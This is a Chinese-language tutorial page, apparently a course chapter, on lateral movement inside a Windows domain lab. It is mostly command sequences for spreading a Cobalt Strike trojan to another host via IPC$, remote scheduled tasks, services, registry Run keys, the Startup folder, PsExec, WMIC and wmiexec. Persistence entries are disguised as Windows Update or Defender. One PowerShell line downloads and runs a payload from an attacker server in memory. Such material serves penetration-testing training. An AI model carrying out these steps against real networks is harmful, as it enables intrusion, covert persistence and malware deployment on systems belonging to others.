域渗透
01-本地认证
02-本地密码抓取
03-网络认证
04-域基础知识
05-域环境部署
06-域认证
07-域密码抓取
08-横向移动
09-凭证传递
10-票据
11-委派
-
+
08-横向移动
浏览
1
# 一、横向移动 横向移动(Lateral Movement) 指的是:攻击者在已经拿下某台主机后,不急着收手,而是以这台机器为跳板,继续访问、控制网络内的其他主机、服务、账户或云资源,扩大自己的控制范围。 # 二、IPC$ ## 概述 IPC$ 是 Windows 系统中的一个默认隐藏共享,全称是 Inter-Process Communication share,即“进程间通信共享”。 它本身不是用来存文件的共享文件夹,而是通过SMB协议提供命名管道(例如远程管理、服务控制、计划任务、远程操作注册表等),让远程客户端与本机服务、进程进行通信。 建立 SMB 会话:客户端先通过 IPC$ 完成身份验证,再访问其他共享或服务。  IPC$和 C$、ADMIN$ 不同:C$ 映射系统盘,ADMIN$ 映射系统目录,而 IPC$ 不映射磁盘目录。 ## 连接 查看连接: ```bash net use ``` 用户组的连接: ```bash net use \\目标IP\ipc$ "密码" /user:用户名 ``` 域用户的连接: ```bash net use \\域名\ipc$ "域成员密码" /user:域名\域成员账户 ``` 删除IPC$连接: ```bash net use \\IP\ipc$ /del ``` ## 功能 连接成功,则表示通过了SMB会话认证。 如果是高权限账号,则可以进行如下操作: - 操作共享磁盘; - 操作服务控制管理器; - 操作计划任务; - 远程查看并修改注册表; - 使用WMI进行远程查询和执行。 > 经过测试后的账号权限 | 不同权限/命令 | dir | type | net time | copy | | --------------- | -------------------- | -------------------- | -------------------- | -------------------- | | administrator | 可以 | 可以 | 可以 | 可以 | | 普通管理员 | 不可以 | 不可以 | 可以 | 不可以 | | 普通用户 | 不可以 | 不可以 | 可以 | 不可以 | | 域管理员 | 可以 | 可以 | 可以 | 可以 | | 普通域用户 | 不可以 | 不可以 | 可以 | 不可以 | | 域administrator | 不可以(只能和域控) | 不可以(只能和域控) | 不可以(只能和域控) | 不可以(只能和域控) | ## 利用条件 IPC$的利用条件: - 目标开启 TCP139或 TCP 445端口; - 目标主机存在并可连接IPC$; - 默认管理共享开启; - 拥有有效凭证(用户名与密码); - 账号为高权限账号。 ## 基础操作 操作环境:在域控机器中使用域管账号打开cmd对win08进行远程操作,win08环境如下:  查看远程计算机盘符目录: ```bash dir \\IP\c$ ```  查看远程计算机上的进程: ```bash tasklist /S IP地址 ```  查看远程计算机中的文件内容: ```bash type \\IP\c$\文件路径 ```  查看远程计算机中的时间: ```bash net time \\IP地址 ```  复制可执行程序: ```bash copy 文件 \\IP地址\C$ ```   ## 进阶操作 ### 环境准备 ```bash #1.使用Cobaltstrike生成木马 #1.1 kali机器运行Cobaltstrike的服务端 chmod a+x ./* ./teamserver 192.168.88.104 123456 #1.2 物理机使用java21版本,启动Cobaltstrike的客户端 #双击cobaltstrike-CN.bat文件 #1.3 使用Cobaltstrike客户端添加监听器并生成无分段exe木马 #2.为了能够让域内的机器能够访问到攻击机,所以将域内机器的网关指向192.168.88.2 #3.域控上线木马 #4.上线之后,再复制一份木马,重新命名sys.exe,并且放在C:\Windows\sys.exe #5.使用cobaltstrike,获取内网其他IP地址 shell arp -a ``` 生成监听器: <img src="https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115060953245.png" alt="image-20261014213346094" style="zoom:67%;" /> 生成无分段木马程序: <img src="https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115060953246.png" alt="image-20261014215305079" style="zoom:67%;" /> 木马上线:  获取内网信息:  ### 计划任务 Windows计划任务允许在指定时间或条件下自动执行程序。 攻击者利用已有的IPC连接,远程在目标主机上创建计划任务,定时执行已上传的木马或脚本。 ```cmd #1.域控管理员,对目标IPC建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #3.创建计划任务 shell schtasks /create /s 192.168.88.202 /tn "WindowUpdate" /tr "C:\Windows\calc.exe" /sc ONCE /st 00:00 /ru "SYSTEM" /f #4.执行木马 shell schtasks /run /s 192.168.88.202 /tn "WindowUpdate" #5.删除计划任务 shell schtasks /end /s 192.168.88.202 /tn "WindowUpdate" shell schtasks /delete /s 192.168.88.202 /tn "WindowUpdate" /f ``` schtasks参数描述 - /s 192.168.1.100:远程计算机; - /tn "RunCalc":计划任务名称; - /tr "C:\Windows\calc.exe":远程计算机上要执行的程序; - /sc ONCE /st 00:00:创建一次性触发器; - /ru "SYSTEM":任务以 SYSTEM 身份运行; - /f:同名任务存在时强制覆盖。 上线成功:  ### Windows服务 Windows服务控制管理器(SCM)允许远程创建、启动和停止服务。攻击者可以通过SCM远程创建一个服务,使其指向已上传的木马程序,服务启动时即执行木马。 ```bash #1. 建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #3. 创建服务,type= own 独立进程;start= demand手动启动 shell sc \\192.168.88.202 create W1ndowsServer binpath= "C:\Windows\calc.exe" type= own start= demand obj= LocalSystem #4.查询服务 shell sc \\192.168.88.202 query W1ndowsServer #5.启动服务 shell sc \\192.168.88.202 start W1ndowsServer #6.停止并删除服务 shell sc \\192.168.88.202 stop W1ndowsServer shell sc \\192.168.88.202 delete W1ndowsServer ```  ### 注册表 远程注册表服务(Remote Registry)允许通过网络修改目标主机的注册表。 攻击者可以通过IPC$连接,利用 reg 命令远程修改注册表,实现开机自启动或禁用安全功能等目的。 目标主机的 Remote Registry 服务必须处于运行状态。如果未运行,攻击者先通过IPC$连接远程启用该服务。 注册表常用启动项: | 路径 | 作用范围 | | :----------------------------------------------------- | :----------------- | | HKLM\Software\Microsoft\Windows\CurrentVersion\Run | 所有用户登录时执行 | | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | 当前用户登录时执行 | | HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce | 仅执行一次 | ```bash #1. 建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #3.查看Remote Registry 服务状态 shell sc \\192.168.88.202 query RemoteRegistry #4.如果没启动,设为手动并启动,如果服务被禁用,先把 start= disabled 改成 demand sc \\192.168.88.202 config RemoteRegistry start= demand sc \\192.168.88.202 start RemoteRegistry #5.远程修改注册表,并添加启动项 shell reg add "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\calc.exe" /f #6.查询注册表 shell reg query "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" #7.远程注销当前账户或者其他方式,使得用户进行登录操作 #7.1 查看远程会话 shell quser /server:192.168.88.202 #或者 shell query user /server:192.168.88.202 #7.2 远程注销,根据会话ID或者用户名 shell logoff 3 /server:192.168.88.202 shell logoff win08 /server:192.168.88.202 #8.清除 reg delete "\\192.168.88.202\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f ```  ### 启动项文件夹 Windows的启动文件夹(Startup Folder)中的程序会在用户登录时自动执行。攻击者可以通过IPC$连接访问目标主机的启动文件夹路径,直接投放木马文件。 启动文件夹路径: | 范围 | 路径 | | :------- | :----------------------------------------------------------- | | 当前用户 | C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup | | 所有用户 | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp | ```bash #1. 建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #3.复制木马到启动文件夹 shell move "\\192.168.88.202\C$\Windows\calc.exe" "\\192.168.88.202\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hu0rong.exe" #4.远程注销 shell quser /server:192.168.88.202 shell logoff 4 /server:192.168.88.202 ``` 关于启动项: | 启动项类型 | 触发时机 | 是否必须重启 | | :--------------------- | :----------------- | :--------------------------------------------- | | 启动文件夹 StartUp | 用户登录时 | 不需要,注销再登录即可 | | 注册表 HKLM\...\Run | 任意用户登录时 | 不需要,注销再登录即可 | | 注册表 HKCU\...\Run | 当前用户登录时 | 不需要,注销再登录即可 | | RunOnce | 下次登录时运行一次 | 不需要,注销再登录即可 | | Windows 服务,自动启动 | 系统开机时 | 自动生效通常要重启;也可手动 sc start 立即启动 | | 计划任务 ONSTART | 系统启动时 | 需要重启才会自动触发;也可手动 /run 立即执行 | | 计划任务 ONLOGON | 用户登录时 | 不需要重启,注销再登录即可 |  ### 挂载磁盘 通过IPC连接建立SMB会话后,攻击者可以将目标的默认共享(如‘C连接建立*SMB*会话后,攻击者可以将目标的默认共享(如C$、ADMIN$)映射为本地驱动器,从而像操作本地磁盘一样浏览、上传、下载文件。 ```bash #1. 建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #2.磁盘映射 shell net use Z: \\192.168.88.202\C$ #3.直接通过Z盘访问目标文件系统 #4.命令形式 shell dir Z:\ #5.卸载 shell net use Z: /delete ```   # 三、PsExec ## 概述 PsExec 是 Sysinternals 套件中的工具,其核心原理是在远程主机上临时创建一个 Windows 服务来执行命令。 微软官网地址:[PsExec - Sysinternals | Microsoft Learn](https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec) 执行流程: - PsExec 从自身提取 PSEXESVC.exe,通过 SMB(端口 445)复制到目标的 ADMIN$ 共享(即 C:\Windows)。 - 通过服务控制管理器(SCM)远程注册并启动一个名为 PSEXESVC 的服务。 - 创建命名管道,用于传输命令和接收输出。 ## 木马落地 ```bash #域控执行命令,木马上传到win08中 #直接上线 psexec \\192.168.88.200 -u "域名\管理员账号" -p "密码" -d -s 目标机器目标绝对路径 shell PsExec64.exe -accepteula \\192.168.88.202 -u "abc.com\administrator" -p "a1b23.." -d -s C:\Users\win08\Desktop\notepad1.exe #-accepteula 首次运行静默接受最终用户许可协议 #-d 后台执行,不等待进程结 #-s 以本地 System 最高权限运行(优先使用) ```  ## 无文件落地 ```bash #以powershell的脚本进行上线 shell PsExec64.exe -accepteula \\192.168.88.202 -u "域名\管理员账号" -p "密码" -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://你的CS服务器IP/payload.ps1'))" shell PsExec64.exe -accepteula \\192.168.88.202 -u "abc\administrator" -p "a1b2c3.." -d -s powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://192.168.88.1:8000/sysscript.ps1'))" #-w hidden --> indowStyle Hidden,隐藏窗口 #-c --> Command,执行引号内的power shell命令 #IEX--->Invoke-Expression,将接收到的字符串当作 PowerShell 代码直接在当前内存中执行 #(New-Object Net.WebClient).DownloadString(...) 使用.NET框架的WebClient类,从远程 Web 服务器下载内容 ``` 生成ps1木马:  创建http服务:  成功上线:  # 四、WMIC ## 概述 WMIC(Windows Management Instrumentation Command-line,WMI 命令行工具),WMI(Windows Management Instrumentation):Windows 内置的系统管理框架,操作系统把硬件、进程、网卡、磁盘、服务、注册表等信息封装成一堆 “对象 / 类”,程序可以查询、读取、修改。 WMIC 利用 Windows 管理规范(WMI)的远程进程创建功能,不需要在目标上创建服务或写入文件,因此隐蔽性远高于 PsExec。 WMIC 通过 DCOM(端口 135)或 WinRM(5985/5986)与目标的 WMI 服务通信。在目标上,实际是由 WmiPrvSE.exe 进程来创建你指定的子进程。 - WinRM 是微软新一代远程管理协议(WS-Management),基于 HTTP/SOAP(简单对象访问协议),用来替代老旧 DCOM/WMI 远程。 - TCP 5985:HTTP(默认,内网常用) - TCP 5986:HTTPS(加密证书,更安全) - COM 是 Windows 本地组件调用技术;DCOM = 跨网络的 COM, WMI(wmic 底层就是 WMI)远程模式默认走 DCOM。 ## 常见操作 wmic 远程查询是访问目标机器的 WMI 服务,只要 WMI 服务正常运行即可。 ```bash #网卡IP、MAC地址(远程) wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" nicconfig get ipaddress,macaddress #查看磁盘信息 wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" logicaldisk get caption,size,freespace #查看CPU信息 wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" cpu get name,numberofcores #查看正在运行的进程 wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" process get name,processid #杀掉正在运行的进程 wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"a1b2c3.." process where processid=ID号 delete #查看共享列表 wmic /node:"192.168.88.200" /user:"administrator" /password:"远程密码" share get name,path,status ``` ## 上线木马 wmic 可以远程调用目标主机 WMI 中的 Win32_Process 类的 Create 方法,在目标系统上创建新进程、执行任意命令。 ```bash #1. 建立连接 shell net use \\192.168.88.202\IPC$ #2.将木马传递到目标磁盘目录中 shell copy C:\Windows\sys.exe \\192.168.88.202\C$\windows\calc.exe #3.使用wmic执行上线木马 shell wmic /node:"192.168.88.202" /user:"abc\administrator" /password:"a1b2c3.." process call create "C:\Users\win08\Desktop\systemct1.exe" #call create = 调用 WMI 的创建进程函数,在远程主机上启动一个程序 ```  ## 工具 wmiexec 通常指 impacket 工具包的 wmiexec.py。 Impacket 是一套基于 Python 的跨平台替代方案,它让你可以从 Linux/macOS 直接与 Windows 协议(SMB, MSRPC, Kerberos, LDAP 等)交互,无需在目标上安装任何代理或恶意软件。 wmiexec底层走 WMI/DCOM 协议(135 端口 + RPC 动态端口) 执行命令,通过 SMB(445 端口)读取命令输出: 1. 远程调用 Win32_Process.Create 启动 cmd 执行命令,把结果重定向到目标临时目录的 txt 文件 2. 通过 SMB 连接读取临时文件内容,返回执行结果 3. 执行完成后自动删除临时文件 利用前提: - 目标 TCP 135 端口 + 445 端口 都开放(135 跑 WMI 执行,445 用来取回显) - 持有目标管理员权限账号,支持哈希传递(Pass the Hash,无需明文密码) - 目标 WMI 服务(winmgmt)正常运行,Admin$ 共享可访问 ```bash shell sc \\192.168.88.202 query winmgmt ```  文件落地: ```bash #文件拷贝 shell copy ca1c.exe \\192.168.88.202\c$\Windows\Temp\sysupdates.exe #执行文件 shell wmiexec.exe abc.com/administrator:a1b2c3..@192.168.88.202 "C:\Windows\Temp\sysupdates.exe" ``` 
毛林
2026年11月15日 18:30
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~